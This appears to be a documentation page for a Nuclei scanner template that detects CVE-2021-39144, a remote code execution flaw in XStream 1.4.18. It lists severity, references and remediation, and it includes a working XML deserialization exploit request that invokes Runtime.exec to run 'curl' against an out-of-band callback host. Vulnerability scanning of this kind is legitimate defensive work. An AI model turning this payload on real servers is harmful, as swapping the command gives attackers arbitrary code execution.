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XStream 1.4.18 - Remote Code Execution

ID: CVE-2021-39144

Severity: high

Author: pwnhxl,vicrack

Tags: cve2021,cve,xstream,deserialization,rce,kev,xstream_project

Description

Section titled “Description”

XStream 1.4.18 is susceptible to remote code execution. An attacker can execute commands of the host by manipulating the processed input stream, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site. Setups which followed XStream’s security recommendations with an allow-list are not impacted.

YAML Source

Section titled “YAML Source”
id: CVE-2021-39144


info:
  name: XStream 1.4.18  - Remote Code Execution
  author: pwnhxl,vicrack
  severity: high
  description: |
    XStream 1.4.18 is susceptible to remote code execution. An attacker can execute commands of the host by manipulating the processed input stream, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site. Setups which followed XStream's security recommendations with an allow-list are not impacted.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the target system.
  remediation: |
    Upgrade XStream to a version that is not affected by CVE-2021-39144.
  reference:
    - https://x-stream.github.io/CVE-2021-39144.html
    - https://github.com/x-stream/xstream/security/advisories/GHSA-j9h8-phrw-h4fh
    - https://security.netapp.com/advisory/ntap-20210923-0003/
    - https://nvd.nist.gov/vuln/detail/cve-2021-39144
    - https://lists.debian.org/debian-lts-announce/2021/09/msg00017.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 8.5
    cve-id: CVE-2021-39144
    cwe-id: CWE-306,CWE-502
    epss-score: 0.96272
    epss-percentile: 0.99425
    cpe: cpe:2.3:a:xstream_project:xstream:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: xstream_project
    product: xstream
  tags: cve2021,cve,xstream,deserialization,rce,kev,xstream_project


http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/xml


        <java.util.PriorityQueue serialization='custom'>
          <unserializable-parents/>
          <java.util.PriorityQueue>
            <default>
              <size>2</size>
            </default>
            <int>3</int>
            <dynamic-proxy>
              <interface>java.lang.Comparable</interface>
              <handler class='sun.tracing.NullProvider'>
                <active>true</active>
                <providerType>java.lang.Comparable</providerType>
                <probes>
                  <entry>
                    <method>
                      <class>java.lang.Comparable</class>
                      <name>compareTo</name>
                      <parameter-types>
                        <class>java.lang.Object</class>
                      </parameter-types>
                    </method>
                    <sun.tracing.dtrace.DTraceProbe>
                      <proxy class='java.lang.Runtime'/>
                      <implementing__method>
                        <class>java.lang.Runtime</class>
                        <name>exec</name>
                        <parameter-types>
                          <class>java.lang.String</class>
                        </parameter-types>
                      </implementing__method>
                    </sun.tracing.dtrace.DTraceProbe>
                  </entry>
                </probes>
              </handler>
            </dynamic-proxy>
            <string>curl http://{{interactsh-url}}</string>
          </java.util.PriorityQueue>
        </java.util.PriorityQueue>


    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"


      - type: word
        part: interactsh_request
        words:
          - "User-Agent: curl"
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Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-39144.yaml"

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